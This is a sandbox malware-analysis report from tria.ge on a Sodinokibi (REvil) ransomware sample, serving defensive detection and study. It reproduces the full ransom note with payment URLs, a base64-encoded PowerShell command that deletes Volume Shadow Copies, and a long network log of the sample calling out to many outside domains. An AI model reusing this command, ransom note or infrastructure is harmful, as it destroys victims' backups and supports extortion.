Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

10

ac29fb1aca...18.exe

windows7-x64

10

ac29fb1aca...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    130s
  • max time network
    142s
  • platform
    windows7_x64
  • resource
    win7-20240611-en
  • resource tags

    arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
  • submitted
    15/06/2024, 00:09 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe

  • Size

    166KB

  • MD5

    ac29fb1acaa2600f7db1fe9072f9c913

  • SHA1

    dc3913a99092419b69b510fab27d38796b0b82a3

  • SHA256

    89238961a6ae82ba0a84711a3c5920bf8a3b07f74ab0eb6eaa14f4d957a0ed46

  • SHA512

    bbbcec24875cdfd6a7517cd751735d2eb66aa4dc5e681f48d2ceda08e628b85fd6763b1c05df1bf074af23b3307f488330f88f2c095b1f0d124eb2b23e5d3f5a

  • SSDEEP

    3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3QFMAp3mxUo:ZJ0BXScFy2RsQJ8zgRdm

Score
10/10
sodinokibipersistenceransomware

Malware Config

Extracted

Path

C:\Users\d5m7js-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension d5m7js. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/78CDBC149E6939F3 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/78CDBC149E6939F3 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: M7zBUphzsRJL1GmDf8l+LYzFNPO9MimYXG0SKMKN/YClzwgqEPGKhEZPbkAXwWpq /9bo/olE7wR6b+XhHeMN9aDRopHAQnY8ptxe35T1qtBfwQ5F5V9KnPEADZ5bqeFh otRlJJOummnnTNMzok7YL1SSztzoLawvlT5Ijph99u5tZBqqBqaPXnyfVrbnHMIA HMcjnQt9IAkpUpTW5hfXRiXLZ/ufKig3xusrA4HSHi1L26mw7UaOyLxDURAKbhMO RwRs3wcRJnQKyr/GxJXC/0IqgmsGloxzzJjl9CbdCjIrQSoAwIRSk2yHRfg9uqG4 j/3gXVovpnaZvCrTqNLmEUg6fVmIdg4Z3vQynE86DR9FdP4ttjAM1nl7+FD11T4i IInEPsn6Ts5hyLA2Y+K64cZ6Wt14r53JBR5Txw9ZgXpS9ipPdP9clhn65sXaQxpp xy7hNTGBAXdZrBvCotngEiM9UltUXx+LWsyHOmUdua2bfH2mXWJTFoGMij/i7wsj mDO7BTqypk02cz5v8AmEre4OLUN1JQMkfd+bRJYS+VZn++gEToYh0zNmomRgfchE Zj7scXFQYc4tOg4wY+qbUgCoZMo9XUxIqqJhLbCIc3hsjKUz4pyYJCbzzJPMw/MU bwTGcFeerCltFwl92ab5DvOam77uPKGvu7A+t0xnWQ/3vXcMZQ0vCu1Prn3X8QS/ jd5khCh90XRhQrCQbeS9tPjONKZS7oObCnBmTsrVZe8Wj0IcV+vCL+RbbN/ABqWy yKcIVoGtGVnekv7RebZJrtO/XGY7tr78XWBFCo2OJzZuMn6FK3Q13bFb4O5wEuaU By/4J4aI/9K+s69fh0nY8uC2juGIU3PESLk9kHAjlc1Arx+27eHq6RnItitna1Ce vTY9cfpkCkxgQ+YYUVY2GUdDLbJxDoz7DksRlddVdKmtzZPi9WZgftM8iMvdRzpk yrELHTyaBI8bsWxOExScc3qQ8flgy0tsqR0qqA9auWk/9imtyNFKiHdarHAIre1M k/N7WS9n1im1zViUUIdUrHQqw+uVmKoAHoH8peRFpcbeS5gDajz714pxlT4WVQeq wsRDSUuMSrwn6BzIVTBCVhJg/6aeWaaCMq+6LRqJbhRKu2Z/bPFQX6aVLyNg9C05 fcoq0jfY8bkpgfnGnXnXDw2sTP7wd3HU6PM1CJQNAJ2su7/CflR7I6gVEHvzsjZ7 WgNxnRsUkfN2K2hn Extension name: d5m7js ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/78CDBC149E6939F3

http://decryptor.cc/78CDBC149E6939F3

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

    ransomwaresodinokibi
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 13 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe"
    1⤵
    • Adds Run key to start application
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2188
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2644
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2688
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2556

    Network

    • flag-us
      DNS
      besttechie.com
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      besttechie.com
      IN A
      Response
      besttechie.com
      IN A
      178.128.137.126
    • flag-us
      DNS
      deprobatehelp.com
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      deprobatehelp.com
      IN A
      Response
      deprobatehelp.com
      IN A
      208.118.247.88
    • flag-us
      POST
      https://deprobatehelp.com/data/image/xcmjndna.png
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      208.118.247.88:443
      Request
      POST /data/image/xcmjndna.png HTTP/1.1
      Cache-Control: no-cache
      Connection: close
      Pragma: no-cache
      Content-Type: application/octet-stream
      User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
      Content-Length: 924
      Host: deprobatehelp.com
      Response
      HTTP/1.1 404 Not Found
      Server: nginx
      Date: Sat, 15 Jun 2024 00:10:06 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: close
      Vary: Accept-Encoding
      X-Powered-By: PHP/8.1.29
      Expires: Wed, 11 Jan 1984 05:00:00 GMT
      Cache-Control: no-cache, must-revalidate, max-age=0
      Link: <https://deprobatehelp.com/wp-json/>; rel="https://api.w.org/"
      Vary: User-Agent
    • flag-us
      DNS
      mirjamholleman.nl
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      mirjamholleman.nl
      IN A
      Response
    • flag-us
      DNS
      corona-handles.com
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      corona-handles.com
      IN A
      Response
      corona-handles.com
      IN A
      188.165.23.19
    • flag-us
      DNS
      kedak.de
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      kedak.de
      IN A
      Response
      kedak.de
      IN A
      172.67.167.188
      kedak.de
      IN A
      104.21.12.218
    • flag-us
      DNS
      behavioralmedicinespecialists.com
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      behavioralmedicinespecialists.com
      IN A
      Response
      behavioralmedicinespecialists.com
      IN A
      198.49.23.145
      behavioralmedicinespecialists.com
      IN A
      198.49.23.144
      behavioralmedicinespecialists.com
      IN A
      198.185.159.144
      behavioralmedicinespecialists.com
      IN A
      198.185.159.145
    • flag-us
      DNS
      hrabritelefon.hr
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      hrabritelefon.hr
      IN A
      Response
      hrabritelefon.hr
      IN A
      139.162.162.119
    • flag-de
      POST
      https://hrabritelefon.hr/wp-content/images/qfaagvrwrj.png
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      139.162.162.119:443
      Request
      POST /wp-content/images/qfaagvrwrj.png HTTP/1.1
      Cache-Control: no-cache
      Connection: close
      Pragma: no-cache
      Content-Type: application/octet-stream
      User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
      Content-Length: 924
      Host: hrabritelefon.hr
      Response
      HTTP/1.1 404 Not Found
      Server: nginx/1.10.3 (Ubuntu)
      Date: Sat, 15 Jun 2024 00:10:07 GMT
      Content-Type: text/html
      Content-Length: 580
      Connection: close
      Vary: Accept-Encoding
    • flag-us
      DNS
      iqbalscientific.com
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      iqbalscientific.com
      IN A
      Response
      iqbalscientific.com
      IN A
      172.67.181.158
      iqbalscientific.com
      IN A
      104.21.18.112
    • flag-us
      DNS
      insp.bi
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      insp.bi
      IN A
      Response
      insp.bi
      IN A
      78.47.2.70
    • flag-us
      DNS
      exenberger.at
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      exenberger.at
      IN A
      Response
      exenberger.at
      IN A
      81.19.159.60
    • flag-us
      DNS
      themadbotter.com
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      themadbotter.com
      IN A
      Response
      themadbotter.com
      IN A
      34.149.36.179
      themadbotter.com
      IN A
      35.227.194.51
      themadbotter.com
      IN A
      34.160.17.71
      themadbotter.com
      IN A
      34.149.120.3
    • flag-us
      DNS
      quemargrasa.net
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      quemargrasa.net
      IN A
      Response
    • flag-us
      DNS
      sobreholanda.com
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      sobreholanda.com
      IN A
      Response
      sobreholanda.com
      IN A
      82.194.64.60
    • flag-us
      DNS
      ncid.bc.ca
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      ncid.bc.ca
      IN A
      Response
      ncid.bc.ca
      IN A
      192.124.249.162
    • flag-us
      DNS
      love30-chanko.com
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      love30-chanko.com
      IN A
      Response
      love30-chanko.com
      IN A
      162.43.94.100
    • flag-us
      DNS
      apolomarcas.com
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      apolomarcas.com
      IN A
      Response
      apolomarcas.com
      IN A
      15.197.148.33
      apolomarcas.com
      IN A
      3.33.130.190
    • flag-us
      DNS
      itelagen.com
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      itelagen.com
      IN A
      Response
      itelagen.com
      IN A
      157.230.80.33
    • flag-us
      DNS
      pv-design.de
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      pv-design.de
      IN A
      Response
      pv-design.de
      IN A
      93.90.177.166
    • flag-us
      DNS
      saka.gr
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      saka.gr
      IN A
      Response
      saka.gr
      IN A
      138.201.194.220
    • flag-us
      DNS
      lescomtesdemean.be
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      lescomtesdemean.be
      IN A
      Response
      lescomtesdemean.be
      IN A
      185.104.29.40
    • flag-us
      DNS
      ecpmedia.vn
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      ecpmedia.vn
      IN A
      Response
      ecpmedia.vn
      IN A
      103.221.223.112
    • flag-us
      DNS
      edrcreditservices.nl
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      edrcreditservices.nl
      IN A
      Response
      edrcreditservices.nl
      IN A
      37.97.202.196
    • flag-us
      DNS
      amylendscrestview.com
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      amylendscrestview.com
      IN A
      Response
      amylendscrestview.com
      IN A
      15.197.142.173
      amylendscrestview.com
      IN A
      3.33.152.147
    • flag-us
      DNS
      coffreo.biz
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      coffreo.biz
      IN A
      Response
      coffreo.biz
      IN A
      172.67.24.65
      coffreo.biz
      IN A
      104.22.67.164
      coffreo.biz
      IN A
      104.22.66.164
    • flag-us
      DNS
      actecfoundation.org
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      actecfoundation.org
      IN A
      Response
      actecfoundation.org
      IN A
      192.124.249.62
    • flag-us
      DNS
      carrybrands.nl
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      carrybrands.nl
      IN A
      Response
      carrybrands.nl
      IN A
      45.82.191.77
    • flag-us
      DNS
      ra-staudte.de
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      ra-staudte.de
      IN A
      Response
      ra-staudte.de
      IN A
      92.205.52.101
    • flag-us
      DNS
      bouncingbonanza.com
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      bouncingbonanza.com
      IN A
      Response
      bouncingbonanza.com
      IN A
      204.11.56.48
    • flag-us
      DNS
      mank.de
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      mank.de
      IN A
      Response
      mank.de
      IN A
      176.52.247.15
    • flag-us
      DNS
      atozdistribution.co.uk
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      Remote address:
      8.8.8.8:53
      Request
      atozdistribution.co.uk
      IN A
      Response
      atozdistribution.co.uk
      IN A
      185.162.224.18
    • 178.128.137.126:443
      besttechie.com
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      348 B
       219 B
       5
      5
    • 178.128.137.126:443
      besttechie.com
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      288 B
       219 B
       5
      5
    • 208.118.247.88:443
      https://deprobatehelp.com/data/image/xcmjndna.png
      tls, http
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      3.4kB
       56.5kB
       40
      46

      HTTP Request

      POST https://deprobatehelp.com/data/image/xcmjndna.png

      HTTP Response

      404
    • 188.165.23.19:443
      corona-handles.com
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      352 B
       179 B
       5
      4
    • 188.165.23.19:443
      corona-handles.com
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      288 B
       179 B
       5
      4
    • 172.67.167.188:443
      kedak.de
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      342 B
       219 B
       5
      5
    • 172.67.167.188:443
      kedak.de
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      334 B
       219 B
       6
      5
    • 198.49.23.145:443
      behavioralmedicinespecialists.com
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      413 B
       215 B
       6
      5
    • 198.49.23.145:443
      behavioralmedicinespecialists.com
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      334 B
       215 B
       6
      5
    • 139.162.162.119:443
      https://hrabritelefon.hr/wp-content/images/qfaagvrwrj.png
      tls, http
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      2.1kB
       4.4kB
       11
      10

      HTTP Request

      POST https://hrabritelefon.hr/wp-content/images/qfaagvrwrj.png

      HTTP Response

      404
    • 172.67.181.158:443
      iqbalscientific.com
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      353 B
       219 B
       5
      5
    • 172.67.181.158:443
      iqbalscientific.com
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      288 B
       219 B
       5
      5
    • 78.47.2.70:443
      insp.bi
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      341 B
       219 B
       5
      5
    • 78.47.2.70:443
      insp.bi
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      288 B
       219 B
       5
      5
    • 81.19.159.60:443
      exenberger.at
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      347 B
       219 B
       5
      5
    • 81.19.159.60:443
      exenberger.at
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      288 B
       219 B
       5
      5
    • 34.149.36.179:443
      themadbotter.com
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      350 B
       219 B
       5
      5
    • 34.149.36.179:443
      themadbotter.com
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      288 B
       219 B
       5
      5
    • 82.194.64.60:443
      sobreholanda.com
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      152 B
       3
    • 192.124.249.162:443
      ncid.bc.ca
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      344 B
       219 B
       5
      5
    • 192.124.249.162:443
      ncid.bc.ca
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      334 B
       219 B
       6
      5
    • 162.43.94.100:443
      love30-chanko.com
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      351 B
       219 B
       5
      5
    • 162.43.94.100:443
      love30-chanko.com
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      288 B
       219 B
       5
      5
    • 15.197.148.33:443
      apolomarcas.com
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      395 B
       259 B
       6
      6
    • 15.197.148.33:443
      apolomarcas.com
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      288 B
       172 B
       5
      4
    • 157.230.80.33:443
      itelagen.com
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      152 B
       120 B
       3
      3
    • 93.90.177.166:443
      pv-design.de
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      346 B
       219 B
       5
      5
    • 93.90.177.166:443
      pv-design.de
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      288 B
       219 B
       5
      5
    • 138.201.194.220:443
      saka.gr
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      341 B
       219 B
       5
      5
    • 138.201.194.220:443
      saka.gr
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      288 B
       219 B
       5
      5
    • 185.104.29.40:443
      lescomtesdemean.be
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      352 B
       179 B
       5
      4
    • 185.104.29.40:443
      lescomtesdemean.be
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      288 B
       179 B
       5
      4
    • 103.221.223.112:443
      ecpmedia.vn
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      253 B
       132 B
       3
      3
    • 37.97.202.196:443
      edrcreditservices.nl
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      152 B
       3
    • 15.197.142.173:443
      amylendscrestview.com
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      152 B
       3
    • 3.33.152.147:443
      amylendscrestview.com
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      152 B
       3
    • 172.67.24.65:443
      coffreo.biz
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      345 B
       219 B
       5
      5
    • 172.67.24.65:443
      coffreo.biz
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      288 B
       219 B
       5
      5
    • 192.124.249.62:443
      actecfoundation.org
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      353 B
       219 B
       5
      5
    • 192.124.249.62:443
      actecfoundation.org
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      334 B
       219 B
       6
      5
    • 45.82.191.77:443
      carrybrands.nl
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      394 B
       650 B
       6
      5
    • 45.82.191.77:443
      carrybrands.nl
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      334 B
       650 B
       6
      5
    • 92.205.52.101:443
      ra-staudte.de
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      347 B
       219 B
       5
      5
    • 92.205.52.101:443
      ra-staudte.de
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      288 B
       219 B
       5
      5
    • 204.11.56.48:443
      bouncingbonanza.com
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      152 B
       3
    • 176.52.247.15:443
      mank.de
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      341 B
       215 B
       5
      5
    • 176.52.247.15:443
      mank.de
      tls
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      288 B
       215 B
       5
      5
    • 185.162.224.18:443
      atozdistribution.co.uk
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      152 B
       3
    • 8.8.8.8:53
      besttechie.com
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      60 B
       76 B
       1
      1

      DNS Request

      besttechie.com

      DNS Response

      178.128.137.126

    • 8.8.8.8:53
      deprobatehelp.com
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      63 B
       79 B
       1
      1

      DNS Request

      deprobatehelp.com

      DNS Response

      208.118.247.88

    • 8.8.8.8:53
      mirjamholleman.nl
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      63 B
       116 B
       1
      1

      DNS Request

      mirjamholleman.nl

    • 8.8.8.8:53
      corona-handles.com
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      64 B
       80 B
       1
      1

      DNS Request

      corona-handles.com

      DNS Response

      188.165.23.19

    • 8.8.8.8:53
      kedak.de
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      54 B
       86 B
       1
      1

      DNS Request

      kedak.de

      DNS Response

      172.67.167.188
      104.21.12.218

    • 8.8.8.8:53
      behavioralmedicinespecialists.com
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      79 B
       143 B
       1
      1

      DNS Request

      behavioralmedicinespecialists.com

      DNS Response

      198.49.23.145
      198.49.23.144
      198.185.159.144
      198.185.159.145

    • 8.8.8.8:53
      hrabritelefon.hr
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      62 B
       78 B
       1
      1

      DNS Request

      hrabritelefon.hr

      DNS Response

      139.162.162.119

    • 8.8.8.8:53
      iqbalscientific.com
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      65 B
       97 B
       1
      1

      DNS Request

      iqbalscientific.com

      DNS Response

      172.67.181.158
      104.21.18.112

    • 8.8.8.8:53
      insp.bi
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      53 B
       69 B
       1
      1

      DNS Request

      insp.bi

      DNS Response

      78.47.2.70

    • 8.8.8.8:53
      exenberger.at
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      59 B
       75 B
       1
      1

      DNS Request

      exenberger.at

      DNS Response

      81.19.159.60

    • 8.8.8.8:53
      themadbotter.com
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      62 B
       126 B
       1
      1

      DNS Request

      themadbotter.com

      DNS Response

      34.149.36.179
      35.227.194.51
      34.160.17.71
      34.149.120.3

    • 8.8.8.8:53
      quemargrasa.net
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      61 B
       134 B
       1
      1

      DNS Request

      quemargrasa.net

    • 8.8.8.8:53
      sobreholanda.com
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      62 B
       78 B
       1
      1

      DNS Request

      sobreholanda.com

      DNS Response

      82.194.64.60

    • 8.8.8.8:53
      ncid.bc.ca
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      56 B
       72 B
       1
      1

      DNS Request

      ncid.bc.ca

      DNS Response

      192.124.249.162

    • 8.8.8.8:53
      love30-chanko.com
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      63 B
       79 B
       1
      1

      DNS Request

      love30-chanko.com

      DNS Response

      162.43.94.100

    • 8.8.8.8:53
      apolomarcas.com
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      61 B
       93 B
       1
      1

      DNS Request

      apolomarcas.com

      DNS Response

      15.197.148.33
      3.33.130.190

    • 8.8.8.8:53
      itelagen.com
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      58 B
       74 B
       1
      1

      DNS Request

      itelagen.com

      DNS Response

      157.230.80.33

    • 8.8.8.8:53
      pv-design.de
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      58 B
       74 B
       1
      1

      DNS Request

      pv-design.de

      DNS Response

      93.90.177.166

    • 8.8.8.8:53
      saka.gr
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      53 B
       69 B
       1
      1

      DNS Request

      saka.gr

      DNS Response

      138.201.194.220

    • 8.8.8.8:53
      lescomtesdemean.be
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      64 B
       80 B
       1
      1

      DNS Request

      lescomtesdemean.be

      DNS Response

      185.104.29.40

    • 8.8.8.8:53
      ecpmedia.vn
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      57 B
       73 B
       1
      1

      DNS Request

      ecpmedia.vn

      DNS Response

      103.221.223.112

    • 8.8.8.8:53
      edrcreditservices.nl
      dns
      ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
      66 B
       82 B
       1
      1

      DNS Request

